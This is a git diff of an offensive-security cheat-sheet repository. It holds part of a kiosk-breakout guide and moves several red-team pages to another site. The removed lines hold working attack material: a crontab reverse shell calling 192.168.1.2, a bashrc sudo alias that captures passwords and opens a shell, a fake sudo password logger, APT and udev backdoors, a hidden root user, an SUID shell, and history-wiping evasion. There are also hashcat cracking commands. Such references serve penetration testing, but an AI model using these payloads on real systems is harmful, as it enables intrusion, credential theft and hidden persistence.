* **Hyperlink**: `file:///c:/Windows/System32/cmd.exe`
|
|
||||||
* **Task Manager**: `File` > `New Task (Run...)` > `cmd`
|
|
||||||
* **MSPAINT.exe**
|
|
||||||
* Open MSPaint.exe and set the canvas size to: Width=6 and Height=1 pixels
|
|
||||||
* Zoom in to make the following tasks easier
|
|
||||||
* Using the colour picker, set pixels values to (from left to right):
|
|
||||||
* 1st: R: 10, G: 0, B: 0
|
|
||||||
* 2nd: R: 13, G: 10, B: 13
|
|
||||||
* 3rd: R: 100, G: 109, B: 99
|
|
||||||
* 4th: R: 120, G: 101, B: 46
|
|
||||||
* 5th: R: 0, G: 0, B: 101
|
|
||||||
* 6th: R: 0, G: 0, B: 0
|
|
||||||
* Save it as 24-bit Bitmap (*.bmp;*.dib)
|
|
||||||
* Change its extension from bmp to bat and run
|
|
||||||
|
|
||||||
|
|
||||||
## Sticky Keys
|
|
||||||
|
|
||||||
* Spawn the sticky keys dialog
|
|
||||||
* Via Shell URI : `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}`
|
|
||||||
* Hit 5 times [SHIFT]
|
|
||||||
* Visit "Ease of Access Center"
|
|
||||||
* You land on "Setup Sticky Keys", move up a level on "Ease of Access Center"
|
|
||||||
* Start the OSK (On-Screen-Keyboard)
|
|
||||||
* You can now use the keyboard shortcut (CTRL+N)
|
|
||||||
|
|
||||||
## Dialog Boxes
|
|
||||||
|
|
||||||
### Creating new files
|
|
||||||
|
|
||||||
* Batch files – Right click > New > Text File > rename to .BAT (or .CMD) > edit > open
|
|
||||||
* Shortcuts – Right click > New > Shortcut > `%WINDIR%\system32`
|
|
||||||
|
|
||||||
## Open a new Windows Explorer instance
|
|
||||||
|
|
||||||
* Right click any folder > select `Open in new window`
|
|
||||||
|
|
||||||
## Exploring Context Menus
|
|
||||||
|
|
||||||
* Right click any file/folder and explore context menus
|
|
||||||
* Clicking `Properties`, especially on shortcuts, can yield further access via `Open File Location`
|
|
||||||
|
|
||||||
### Save as
|
|
||||||
|
|
||||||
* "Save as" / "Open as" option
|
|
||||||
* "Print" feature – selecting "print to file" option (XPS/PDF/etc)
|
|
||||||
* `\\127.0.0.1\c$\Windows\System32\` and execute `cmd.exe`
|
|
||||||
|
|
||||||
### Input Boxes
|
|
||||||
|
|
||||||
Many input boxes accept file paths; try all inputs with UNC paths such as `//attacker–pc/` or `//127.0.0.1/c$` or `C:\`
|
|
||||||
|
|
||||||
|
|
||||||
### Bypass file restrictions
|
|
||||||
|
|
||||||
Enter *.* or *.exe or similar in `File name` box
|
|
||||||
|
|
||||||
## Internet Explorer
|
|
||||||
|
|
||||||
### Download and Run/Open
|
|
||||||
|
|
||||||
* Text files -> opened by Notepad
|
|
||||||
|
|
||||||
### Menus
|
|
||||||
|
|
||||||
* The address bar
|
|
||||||
* Search menus
|
|
||||||
* Help menus
|
|
||||||
* Print menus
|
|
||||||
* All other menus that provide dialog boxes
|
|
||||||
|
|
||||||
### Accessing filesystem
|
|
||||||
|
|
||||||
Enter these paths in the address bar:
|
|
||||||
|
|
||||||
* file://C:/windows
|
|
||||||
* C:/windows/
|
|
||||||
* %HOMEDRIVE%
|
|
||||||
* \\127.0.0.1\c$\Windows\System32
|
|
||||||
|
|
||||||
### Unassociated Protocols
|
|
||||||
|
|
||||||
It is possible to escape a browser based kiosk with other protocols than usual `http` or `https`.
|
|
||||||
If you have access to the address bar, you can use any known protocol (`irc`, `ftp`, `telnet`, `mailto`, etc.)
|
|
||||||
to trigger the *open with* prompt and select a program installed on the host.
|
|
||||||
The program will than be launched with the uri as a parameter, you need to select a program that will not crash when recieving it.
|
|
||||||
It is possible to send multiple parameters to the program by adding spaces in your uri.
|
|
||||||
|
|
||||||
Note: This technique required that the protocol used is not already associated with a program.
|
|
||||||
|
|
||||||
Example - Launching Firefox with a custom profile:
|
|
||||||
|
|
||||||
This is a nice trick since Firefox launched with the custom profile may not be as much hardened as the default profile.
|
|
||||||
|
|
||||||
0. Firefox need to be installed.
|
|
||||||
1. Enter the following uri in the address bar: `irc://127.0.0.1 -P "Test"`
|
|
||||||
2. Press enter to navigate to the uri.
|
|
||||||
3. Select the firefox program.
|
|
||||||
4. Firefox will be launched with the profile `Test`.
|
|
||||||
|
|
||||||
In this example, it's the equivalent of running the following command:
|
|
||||||
```
|
|
||||||
firefox irc://127.0.0.1 -P "Test"
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Shell URI Handlers
|
|
||||||
|
|
||||||
* shell:DocumentsLibrary
|
|
||||||
* shell:Librariesshell:UserProfiles
|
|
||||||
* shell:Personal
|
|
||||||
* shell:SearchHomeFolder
|
|
||||||
* shell:System shell:NetworkPlacesFolder
|
|
||||||
* shell:SendTo
|
|
||||||
* shell:Common Administrative Tools
|
|
||||||
* shell:MyComputerFolder
|
|
||||||
* shell:InternetFolder
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [PentestPartners - Breaking out of Citrix and other restricted desktop environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
|
|
||||||
* [Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks - Scott Sutherland - May 22nd, 2013](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
|
|
||||||
* [Escaping from KIOSKs - HackTricks](https://book.hacktricks.xyz/physical-attacks/escaping-from-gui-applications)
|
|
||||||
* [Breaking out of Windows Kiosks using only Microsoft Edge - Firat Acar - May 24, 2022](https://blog.nviso.eu/2022/05/24/breaking-out-of-windows-kiosks-using-only-microsoft-edge/)
|
|
||||||
6
Methodology and Resources/HTML Smuggling.md
Normal file
6
Methodology and Resources/HTML Smuggling.md
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
# HTML Smuggling
|
||||||
|
|
||||||
|
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/html-smuggling](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/)
|
||||||
|
|
||||||
|
- [Description](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/#description)
|
||||||
|
- [Executable Storage](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/#executable-storage)
|
||||||
@@ -1,163 +1,15 @@
|
|||||||
# Hash Cracking
|
# Hash Cracking
|
||||||
|
|
||||||
## Summary
|
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/hash-cracking](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/)
|
||||||
|
|
||||||
* [Hashcat](https://hashcat.net/hashcat/)
|
- [Hashcat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#hashcat)
|
||||||
* [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
|
- [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
|
||||||
* [Hashcat Install](#hashcat-install)
|
- [Hashcat Install](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#hashcat-install)
|
||||||
* [Mask attack](#mask-attack)
|
- [Mask attack](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#mask-attack)
|
||||||
* [Dictionary](#dictionary)
|
- [Dictionary](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#dictionary)
|
||||||
* [John](https://github.com/openwall/john)
|
- [John](https://github.com/openwall/john)
|
||||||
* [Usage](#john-usage)
|
- [Usage](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#john-usage)
|
||||||
* [Rainbow tables](#rainbow-tables)
|
- [Rainbow tables](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#rainbow-tables)
|
||||||
* [Tips and Tricks](#tips-and-tricks)
|
- [Tips and Tricks](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#tips-and-tricks)
|
||||||
* [Online Cracking Resources](#online-cracking-resources)
|
- [Online Cracking Resources](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#online-cracking-resources)
|
||||||
* [References](#references)
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#references)
|
||||||
|
|
||||||
|
|
||||||
## Hashcat
|
|
||||||
|
|
||||||
### Hashcat Install
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
apt install cmake build-essential -y
|
|
||||||
apt install checkinstall git -y
|
|
||||||
git clone https://github.com/hashcat/hashcat.git && cd hashcat && make -j 8 && make install
|
|
||||||
```
|
|
||||||
|
|
||||||
1. Extract the hash
|
|
||||||
2. Get the hash format: https://hashcat.net/wiki/doku.php?id=example_hashes
|
|
||||||
3. Establish a cracking stratgy based on hash format (ex: wordlist -> wordlist + rules -> mask -> combinator mode -> prince attack -> ...)
|
|
||||||
4. Enjoy plains
|
|
||||||
5. Review strategy
|
|
||||||
6. Start over
|
|
||||||
|
|
||||||
### Dictionary
|
|
||||||
|
|
||||||
> Every word of a given list (a.k.a. dictionary) is hashed and compared against the target hash.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
hashcat --attack-mode 0 --hash-type $number $hashes_file $wordlist_file -r $my_rules
|
|
||||||
```
|
|
||||||
|
|
||||||
* Wordlists
|
|
||||||
* [packetstorm](https://packetstormsecurity.com/Crackers/wordlists/)
|
|
||||||
* [weakpass_3a](https://download.weakpass.com/wordlists/1948/weakpass_3a.7z)
|
|
||||||
* [weakpass_3](https://download.weakpass.com/wordlists/1947/weakpass_3.7z)
|
|
||||||
* [Hashes.org](https://download.weakpass.com/wordlists/1931/Hashes.org.7z)
|
|
||||||
* [kerberoast_pws](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5/raw/b7d83af6a8bbb43013e04f78328687d19d0cf9a7/kerberoast_pws.xz)
|
|
||||||
* [hashmob.net](https://hashmob.net/research/wordlists)
|
|
||||||
* [clem9669/wordlists](https://github.com/clem9669/wordlists)
|
|
||||||
|
|
||||||
* Rules
|
|
||||||
* [One Rule to Rule Them All](https://notsosecure.com/one-rule-to-rule-them-all/)
|
|
||||||
* [nsa-rules](https://github.com/NSAKEY/nsa-rules)
|
|
||||||
* [hob064](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/hob064.rule)
|
|
||||||
* [d3adhob0](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/d3adhob0.rule)
|
|
||||||
* [clem9669/hashcat-rule](https://github.com/clem9669/hashcat-rule)
|
|
||||||
|
|
||||||
### Mask attack
|
|
||||||
|
|
||||||
Mask attack is an attack mode which optimize brute-force.
|
|
||||||
|
|
||||||
> Every possibility for a given character set and a given length (i.e. aaa, aab, aac, ...) is hashed and compared against the target hash.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Mask: upper*1+lower*5+digit*2 and upper*1+lower*6+digit*2
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?d?d?1
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?l?d?d?1
|
|
||||||
|
|
||||||
# Mask: upper*1+lower*3+digit*4 and upper*1+lower*3+digit*4
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?d?d?d?d
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?d?d?d?d
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d?d?d
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?d?d?d?d?1
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?d?d?d?d?1
|
|
||||||
|
|
||||||
# Mask: lower*6 + digit*2 + special digit(+!?*)
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1?1
|
|
||||||
|
|
||||||
# Mask: lower*6 + digit*2
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 /content/hashcat/masks/8char-1l-1u-1d-1s-compliant.hcmask
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 ?l?d?u ?1?1?1?1?1?1?1?1
|
|
||||||
|
|
||||||
# Other examples
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a?a
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a
|
|
||||||
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d?d?d
|
|
||||||
hashcat --attack-mode 3 --increment --increment-min 4 --increment-max 8 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a?a?a?a?a"
|
|
||||||
hashcat --attack-mode 3 --hash-type $number $hashes_file "?u?l?l?l?d?d?d?d?s"
|
|
||||||
hashcat --attack-mode 3 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a"
|
|
||||||
hashcat --attack-mode 3 --custom-charset1 "?u" --custom-charset2 "?l?u?d" --custom-charset3 "?d" --hash-type $number $hashes_file "?1?2?2?2?3"
|
|
||||||
```
|
|
||||||
|
|
||||||
| Shortcut | Characters |
|
|
||||||
|----|----------------------------|
|
|
||||||
| ?l | abcdefghijklmnopqrstuvwxyz |
|
|
||||||
| ?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
|
|
||||||
| ?d | 0123456789 |
|
|
||||||
| ?s | !"#$%&'()*+,-./:;<=>?@[\]^_`{}~ |
|
|
||||||
| ?a | ?l?u?d?s |
|
|
||||||
| ?b | 0x00 - 0xff |
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## John
|
|
||||||
|
|
||||||
|
|
||||||
### John Usage
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Run on password file containing hashes to be cracked
|
|
||||||
john passwd
|
|
||||||
|
|
||||||
# Use a specific wordlist
|
|
||||||
john --wordlist=<wordlist> passwd
|
|
||||||
|
|
||||||
# Use a specific wordlist with rules
|
|
||||||
john --wordlist=<wordlist> passwd --rules=Jumbo
|
|
||||||
|
|
||||||
# Show cracked passwords
|
|
||||||
john --show passwd
|
|
||||||
|
|
||||||
# Restore interrupted sessions
|
|
||||||
john --restore
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Rainbow tables
|
|
||||||
|
|
||||||
> The hash is looked for in a pre-computed table. It is a time-memory trade-off that allows cracking hashes faster, but costing a greater amount of memory than traditional brute-force of dictionary attacks. This attack cannot work if the hashed value is salted (i.e. hashed with an additional random value as prefix/suffix, making the pre-computed table irrelevant)
|
|
||||||
|
|
||||||
## Tips and Tricks
|
|
||||||
|
|
||||||
* Cloud GPU
|
|
||||||
* [penglab - Abuse of Google Colab for cracking hashes. 🐧](https://github.com/mxrch/penglab)
|
|
||||||
* [google-colab-hashcat - Google colab hash cracking](https://github.com/ShutdownRepo/google-colab-hashcat)
|
|
||||||
* [Cloudtopolis - Zero Infrastructure Password Cracking](https://github.com/JoelGMSec/Cloudtopolis)
|
|
||||||
* [Nephelees - also a NTDS cracking tool abusing Google Colab](https://github.com/swisskyrepo/Nephelees)
|
|
||||||
* Build a rig on premise
|
|
||||||
* [Pentester's Portable Cracking Rig - $1000](https://www.netmux.com/blog/portable-cracking-rig)
|
|
||||||
* [How To Build A Password Cracking Rig - 5000$](https://www.netmux.com/blog/how-to-build-a-password-cracking-rig)
|
|
||||||
* Online cracking
|
|
||||||
* [Hashes.com](https://hashes.com/en/decrypt/hash)
|
|
||||||
* [hashmob.net](https://hashmob.net/): great community with Discord
|
|
||||||
* Use the `loopback` in combination with rules and dictionary to keep cracking until you don't find new passsword: `hashcat --loopback --attack-mode 0 --rules-file $rules_file --hash-type $number $hashes_file $wordlist_file`
|
|
||||||
|
|
||||||
|
|
||||||
## Online Cracking Resources
|
|
||||||
|
|
||||||
* ~~[hashes.com](https://hashes.com)~~
|
|
||||||
* [crackstation](https://crackstation.net)
|
|
||||||
* [Hashmob](https://hashmob.net/)
|
|
||||||
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [Cracking - The Hacker Recipes](https://www.thehacker.recipes/ad-ds/movement/credentials/cracking)
|
|
||||||
* [Using Hashcat to Crack Hashes on Azure](https://durdle.com/2017/04/23/using-hashcat-to-crack-hashes-on-azure/)
|
|
||||||
* [miloserdov.org hashcat](https://miloserdov.org/?p=5426&PageSpeed=noscript)
|
|
||||||
* [miloserdov.org john](https://miloserdov.org/?p=4961&PageSpeed=noscript)
|
|
||||||
11
Methodology and Resources/Initial Access.md
Normal file
11
Methodology and Resources/Initial Access.md
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
# Initial Access
|
||||||
|
|
||||||
|
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/initial-access](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/)
|
||||||
|
|
||||||
|
- [Complex Chains](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#complex-chains)
|
||||||
|
- [Container](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#container)
|
||||||
|
- [Payload](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#payload)
|
||||||
|
- [Binary Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#binary-files)
|
||||||
|
- [Code Execution Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#code-execution-files)
|
||||||
|
- [Embedded Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#embedded-files)
|
||||||
|
- [Code Signing](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#code-signing)
|
||||||
8
Methodology and Resources/Linux - Evasion.md
Normal file
8
Methodology and Resources/Linux - Evasion.md
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
# Linux - Evasion
|
||||||
|
|
||||||
|
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/initial-access](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/)
|
||||||
|
|
||||||
|
- [File names](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#file-names)
|
||||||
|
- [Command history](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#command-history)
|
||||||
|
- [Hiding text](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#hiding-text)
|
||||||
|
- [Timestomping](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#timestomping)
|
||||||
@@ -1,218 +1,18 @@
|
|||||||
# Linux - Persistence
|
# Linux - Persistence
|
||||||
|
|
||||||
## Summary
|
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/persistence/linux-persistence](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/)
|
||||||
|
|
||||||
* [Basic reverse shell](#basic-reverse-shell)
|
- [Basic reverse shell](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#basic-reverse-shell)
|
||||||
* [Add a root user](#add-a-root-user)
|
- [Add a root user](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#add-a-root-user)
|
||||||
* [Suid Binary](#suid-binary)
|
- [Suid Binary](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#suid-binary)
|
||||||
* [Crontab - Reverse shell](#crontab-reverse-shell)
|
- [Crontab - Reverse shell](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#crontab---reverse-shell)
|
||||||
* [Backdooring a user's bash_rc](#backdooring-an-users-bash-rc)
|
- [Backdooring a user's bash_rc](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-users-bash_rc)
|
||||||
* [Backdooring a startup service](#backdoor-a-startup-service)
|
- [Backdooring a startup service](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-startup-service)
|
||||||
* [Backdooring a user startup file](#backdooring-an-user-startup-file)
|
- [Backdooring a user startup file](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-user-startup-file)
|
||||||
* [Backdooring a driver](#backdooring-a-driver)
|
- [Backdooring Message of the Day](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-message-of-the-day)
|
||||||
* [Backdooring the APT](#backdooring-the-apt)
|
- [Backdooring a driver](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-driver)
|
||||||
* [Backdooring the SSH](#backdooring-the-ssh)
|
- [Backdooring the APT](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-the-apt)
|
||||||
* [Tips](#tips)
|
- [Backdooring the SSH](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-the-ssh)
|
||||||
* [Additional Linux Persistence Options](#additional-persistence-options)
|
- [Backdooring Git](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-git)
|
||||||
* [References](#references)
|
- [Additional Linux Persistence Options](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#additional-persistence-options)
|
||||||
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#references)
|
||||||
|
|
||||||
## Basic reverse shell
|
|
||||||
|
|
||||||
```bash
|
|
||||||
ncat --udp -lvp 4242
|
|
||||||
ncat --sctp -lvp 4242
|
|
||||||
ncat --tcp -lvp 4242
|
|
||||||
```
|
|
||||||
|
|
||||||
## Add a root user
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
sudo useradd -ou 0 -g 0 john
|
|
||||||
sudo passwd john
|
|
||||||
echo "linuxpassword" | passwd --stdin john
|
|
||||||
```
|
|
||||||
|
|
||||||
## Suid Binary
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
TMPDIR2="/var/tmp"
|
|
||||||
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
|
|
||||||
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
|
|
||||||
rm $TMPDIR2/croissant.c
|
|
||||||
chown root:root $TMPDIR2/croissant
|
|
||||||
chmod 4777 $TMPDIR2/croissant
|
|
||||||
```
|
|
||||||
|
|
||||||
## Crontab - Reverse shell
|
|
||||||
|
|
||||||
```bash
|
|
||||||
(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null
|
|
||||||
```
|
|
||||||
|
|
||||||
## Backdooring a user's bash_rc
|
|
||||||
|
|
||||||
(FR/EN Version)
|
|
||||||
|
|
||||||
```bash
|
|
||||||
TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
|
|
||||||
cat << EOF > /tmp/$TMPNAME2
|
|
||||||
alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '
|
|
||||||
EOF
|
|
||||||
if [ -f ~/.bashrc ]; then
|
|
||||||
cat /tmp/$TMPNAME2 >> ~/.bashrc
|
|
||||||
fi
|
|
||||||
if [ -f ~/.zshrc ]; then
|
|
||||||
cat /tmp/$TMPNAME2 >> ~/.zshrc
|
|
||||||
fi
|
|
||||||
rm /tmp/$TMPNAME2
|
|
||||||
```
|
|
||||||
|
|
||||||
or add the following line inside its .bashrc file.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ chmod u+x ~/.hidden/fakesudo
|
|
||||||
$ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc
|
|
||||||
```
|
|
||||||
|
|
||||||
and create the `fakesudo` script.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
read -sp "[sudo] password for $USER: " sudopass
|
|
||||||
echo ""
|
|
||||||
sleep 2
|
|
||||||
echo "Sorry, try again."
|
|
||||||
echo $sudopass >> /tmp/pass.txt
|
|
||||||
|
|
||||||
/usr/bin/sudo $@
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Backdooring a startup service
|
|
||||||
|
|
||||||
```bash
|
|
||||||
RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
|
|
||||||
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
|
|
||||||
```
|
|
||||||
|
|
||||||
## Backdooring a user startup file
|
|
||||||
|
|
||||||
Linux, write a file in `~/.config/autostart/NAME_OF_FILE.desktop`
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
In : ~/.config/autostart/*.desktop
|
|
||||||
|
|
||||||
[Desktop Entry]
|
|
||||||
Type=Application
|
|
||||||
Name=Welcome
|
|
||||||
Exec=/var/lib/gnome-welcome-tour
|
|
||||||
AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide
|
|
||||||
OnlyShowIn=GNOME;
|
|
||||||
X-GNOME-Autostart-enabled=false
|
|
||||||
```
|
|
||||||
|
|
||||||
## Backdooring a driver
|
|
||||||
|
|
||||||
```bash
|
|
||||||
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
|
|
||||||
```
|
|
||||||
|
|
||||||
## Backdooring the APT
|
|
||||||
|
|
||||||
If you can create a file on the apt.conf.d directory with: `APT::Update::Pre-Invoke {"CMD"};`
|
|
||||||
Next time "apt-get update" is done, your CMD will be executed!
|
|
||||||
|
|
||||||
```bash
|
|
||||||
echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
|
|
||||||
```
|
|
||||||
|
|
||||||
## Backdooring the SSH
|
|
||||||
|
|
||||||
Add an ssh key into the `~/.ssh` folder.
|
|
||||||
|
|
||||||
1. `ssh-keygen`
|
|
||||||
2. write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys`
|
|
||||||
3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys
|
|
||||||
|
|
||||||
## Tips
|
|
||||||
|
|
||||||
Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
#[2J[2J[2J[2H[2A# Do not remove. Generated from /etc/issue.conf by configure.
|
|
||||||
```
|
|
||||||
|
|
||||||
Hide in plain sight using zero width spaces in filename.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
touch $(echo -n 'index\u200D.php') index.php
|
|
||||||
```
|
|
||||||
|
|
||||||
Clear the last line of the history.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
history -d $(history | tail -2 | awk '{print $1}') 2> /dev/null
|
|
||||||
```
|
|
||||||
|
|
||||||
Clear history
|
|
||||||
|
|
||||||
```bash
|
|
||||||
[SPACE] ANY COMMAND
|
|
||||||
or
|
|
||||||
export HISTSIZE=0
|
|
||||||
export HISTFILESIZE=0
|
|
||||||
unset HISTFILE; CTRL-D
|
|
||||||
or
|
|
||||||
kill -9 $$
|
|
||||||
or
|
|
||||||
echo "" > ~/.bash_history
|
|
||||||
or
|
|
||||||
rm ~/.bash_history -rf
|
|
||||||
or
|
|
||||||
history -c
|
|
||||||
or
|
|
||||||
ln /dev/null ~/.bash_history -sf
|
|
||||||
```
|
|
||||||
|
|
||||||
The following directories are temporary and usually writeable
|
|
||||||
|
|
||||||
```bash
|
|
||||||
/var/tmp/
|
|
||||||
/tmp/
|
|
||||||
/dev/shm/
|
|
||||||
```
|
|
||||||
## Additional Persistence Options
|
|
||||||
|
|
||||||
* [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)
|
|
||||||
* [Compromise Client Software Binary](https://attack.mitre.org/techniques/T1554)
|
|
||||||
* [Create Account](https://attack.mitre.org/techniques/T1136/)
|
|
||||||
* [Create Account: Local Account](https://attack.mitre.org/techniques/T1136/001/)
|
|
||||||
* [Create or Modify System Process](https://attack.mitre.org/techniques/T1543/)
|
|
||||||
* [Create or Modify System Process: Systemd Service](https://attack.mitre.org/techniques/T1543/002/)
|
|
||||||
* [Event Triggered Execution: Trap](https://attack.mitre.org/techniques/T1546/005/)
|
|
||||||
* [Event Triggered Execution](https://attack.mitre.org/techniques/T1546/)
|
|
||||||
